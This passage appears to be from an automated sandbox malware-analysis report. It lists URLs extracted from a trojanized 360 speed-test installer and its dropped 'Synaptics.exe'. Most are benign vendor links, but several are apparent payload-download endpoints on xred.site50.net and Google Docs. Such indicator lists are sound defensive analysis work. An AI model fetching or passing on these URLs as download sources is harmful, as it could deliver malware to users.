              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://speed.netmon.360safe.com/pdownlist.dat%s?s=%dhttp://speedtest.360.cn/16mnetspeedtmp.nplpdown:
              Source: 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://speed.netmon.360safe.com/pdownlist.dat?s=521348414=1
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://speedtest.360.cn/16mrt
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/AddUserRank
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/AddUserRank%02d/%02dhttp://tachometer.netmon.360.cn/Interf
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/AddUserRank%d%%http://tachometer.netmon.360.cn/Interface/G
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/AddUserRank1http://tachometer.netmon.360.cn/Interface/GetT
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/AddUserRankShttp://tachometer.netmon.360.cn/Interface/GetT
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/AddUserRankck(WKm
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/AddUserRankhttp://tachometer.netmon.360.cn/Interface/GetTi
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/GetTime
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/GetTime0R
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/GetTime360NetUL.dllhttp://test.tachometer.netmon.360.cn/In
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/Interface/GetTimehttp://test.tachometer.netmon.360.cn/Interface/AddU
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tachometer.netmon.360.cn/config/get?d=allcurrentntspdown://k=1
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://test.tachometer.netmon.360.cn/Interface/AddUserRankhttp://test.tachometer.netmon.360.cn/Inter
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com07
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drString found in binary or memory: http://update.360safe.com/v3/safeup_lib64.cabhttp://update.360safe.com/v3/safeup_lib.cab360trayHandl
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://v.t.sina.com.cn/share/share.php?title=%s&ralateUid=2101475022
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://v.t.sina.com.cn/share/share.php?title=%s&ralateUid=2101475022sQ
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://vip.foxitsoftware.cn/success/success.html?agent=%s&product_id=%s&version=%s&productname=%sCOn
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293649323.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.299151423.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297491825.0000000002F4B000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295689818.0000000002F23000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294300088.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297260003.0000000002F2B000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293163450.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295014859.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.347700377.0000000009CE7000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.347565344.000000000A5E7000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drString found in binary or memory: http://www.360.cn
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295689818.0000000002F23000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294300088.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295014859.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drString found in binary or memory: http://www.360.cn/
              Source: 360SpeedTest.exe, 00000004.00000003.310558201.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310855985.00000000030FA000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310652660.00000000030FA000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310075539.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.309428119.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310291588.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.310780052.00000000030FB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com
              Source: 360SpeedTest.exe, 00000004.00000003.328750938.0000000003119000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.312901154.0000000003119000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
              Source: 360SpeedTest.exe, 00000004.00000003.311612308.0000000003119000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.311689376.0000000003119000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/
              Source: 360SpeedTest.exe, 00000004.00000003.311731158.0000000003119000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers2
              Source: 360SpeedTest.exe, 00000004.00000003.312002939.0000000003119000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersb
              Source: 360SpeedTest.exe, 00000004.00000003.308006754.00000000030F4000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.308141015.00000000030F4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.geotrust.com/resources/cps0(
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://www.openssl.org/support/faq.html
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://www.openssl.org/support/faq.html....................
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dlh
              Source: Synaptics.exe.0.drString found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
              Source: Synaptics.exe.0.drString found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://xred.site50.net/syn/SUpdate.iniD0
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
              Source: Synaptics.exe.0.drString found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
              Source: Synaptics.exe, 00000002.00000003.312206930.0000000005356000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327575587.0000000005321000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.325709162.00000000052E5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/
              Source: Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327587009.0000000005322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/F
              Source: Synaptics.exe, 00000002.00000000.326754117.0000000005300000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/ServiceLogin?service=wise&passive=1209600&continue=https://docs.google.c
              Source: Synaptics.exe, 00000002.00000000.327686850.0000000005338000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/TOS
              Source: Synaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327686850.0000000005338000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/TOS?loc=GB&hl=en-US
              Source: Synaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/TOS?loc=GB&hl=en-US&privacy=true
              Source: Synaptics.exe, 00000002.00000000.325709162.00000000052E5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/r#
              Source: Synaptics.exe, 00000002.00000000.327665917.0000000005331000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/s
              Source: Synaptics.exe, 00000002.00000003.311931943.000000000218C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/
              Source: Synaptics.exe, 00000002.00000000.328244791.000000000538E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?
              Source: Synaptics.exe, 00000002.00000000.328244791.000000000538E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S-1140264579%3A1672513696656672&am
              Source: Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313659928.0000000005388000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313485712.000000000533C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S-1140264579%3A1672513696656672&continue=ht
              Source: Synaptics.exe, 00000002.00000000.328243397.000000000538D000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328107765.0000000005367000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S-1140264579%3A1672513696656672&continue=https%
              Source: Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S-1794591156%3A1672513696568574&continue=ht
              Source: Synaptics.exe, 00000002.00000000.327807657.0000000005346000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328027994.000000000535C000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S-1794591156%3A1672513696568574&continue=https%
              Source: Synaptics.exe, 00000002.00000003.313701288.0000000005399000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328327253.0000000005399000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S319067843%3A1672513696369712&continue=http
              Source: Synaptics.exe, 00000002.00000003.313796873.000000000531A000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.326735516.00000000052FF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S319067843%3A1672513696369712&continue=https%3A
              Source: Synaptics.exe, 00000002.00000000.327645056.000000000532E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S369217427%3A1672513695645434&continue=http
              Source: Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S369217427%3A1672513695645434&continue=https%3A
              Source: Synaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S436284972%3A1672513696011025&continue=http
              Source: Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S436284972%3A1672513696011025&continue=https%3A
              Source: Synaptics.exe, 00000002.00000003.313796873.000000000531A000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.326730403.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327604284.0000000005323000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/v3/signin/identifier?dsh=S688778980%3A1672513695615089&continue=https%3A
              Source: Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327014965.000000000530E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/AccountsSignInUi/external
              Source: Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external
              Source: Synaptics.exe, 00000002.00000003.312250800.000000000536C000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313485712.000000000533C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_qebhlk
              Source: netspeedtmp.npl.1.drString found in binary or memory: https://dldir1.qq.com/qqfile/qq/QQ9.0.5/23816/QQ9.0.5.exe
              Source: netspeedtmp.npl.1.drString found in binary or memory: https://dldir1.qq.com/qqtv/TencentVideo10.10.2290.0.exe
              Source: Synaptics.exe, 00000002.00000000.327665917.0000000005331000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313891417.000000000532F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327014965.000000000530E000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327632164.0000000005329000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327459664.0000000005319000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.326986087.000000000530D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%253D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%2526export%253Ddownload
              Source: Synaptics.exe, 00000002.00000000.328113558.0000000005368000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%253D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%2526export%253DdownloadA
              Source: Synaptics.exe, 00000002.00000003.311876891.0000000002194000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVs
              Source: Synaptics.exe, 00000002.00000003.311876891.0000000002194000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGl
              Source: Synaptics.exe, 00000002.00000000.328244791.000000000538E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%26export%3Ddownl
              Source: Synaptics.exe, 00000002.00000000.328244791.000000000538E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%26export%3Ddownload
              Source: Synaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%26export%3Ddownload&dsh=S369217427:
              Source: Synaptics.exe, 00000002.00000000.327686850.0000000005338000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%26export%3Ddownload&dsh=S436284972:
              Source: Synaptics.exe, 00000002.00000003.311876891.0000000002194000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%26export%3Ddownload&dsh=S688778980:
              Source: Synaptics.exe, 00000002.00000003.311876891.0000000002194000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%26export%3Ddownload&ifkv=AeAAQh5ayL
              Source: Synaptics.exe, 00000002.00000003.312263292.0000000005389000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.326735516.00000000052FF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsOGlEVGxuZVk%26export%3Ddownload&followup=https://do
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
              Source: Synaptics.exe.0.drString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
              Source: Synaptics.exe, 00000002.00000000.328720416.000000000579F000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328593875.000000000564F000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.316175241.00000000045EF000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328796433.0000000005A1F000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.330045175.00000000074CF000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329322949.000000000641E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329934204.000000000724E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329531477.000000000690F000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329257386.000000000605F000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329280916.000000000619E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329084791.0000000005F1E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328761778.00000000058DF000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329051783.0000000005DDE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329978896.000000000738E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329835076.000000000710F000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.329792328.0000000006FCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328987989.0000000005C9F000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&expo
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo4
              Source: Synaptics.exe.0.drString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
              Source: Synaptics.exe, 00000002.00000000.328061530.0000000005361000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
              Source: Synaptics.exe, 00000002.00000000.328072099.0000000005362000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
              Source: Synaptics.exe, 00000002.00000003.313545896.000000000534A000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327851130.000000000534C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0qi
              Source: Synaptics.exe, 00000002.00000000.327566735.0000000005320000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2f
              Source: Synaptics.exe, 00000002.00000000.328061530.0000000005361000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
              Source: Synaptics.exe, 00000002.00000003.312206930.0000000005356000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327925811.0000000005357000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
              Source: Synaptics.exe, 00000002.00000000.328234582.000000000538C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
              Source: Synaptics.exe, 00000002.00000000.326730403.00000000052FE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
              Source: Synaptics.exe, 00000002.00000003.312206930.0000000005356000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328061530.0000000005361000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
              Source: Synaptics.exe, 00000002.00000000.328072099.0000000005362000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
              Source: Synaptics.exe, 00000002.00000003.313545896.000000000534A000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327851130.000000000534C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
              Source: Synaptics.exe, 00000002.00000000.328072099.0000000005362000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX-
              Source: Synaptics.exe, 00000002.00000000.328234582.000000000538C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYBSEY
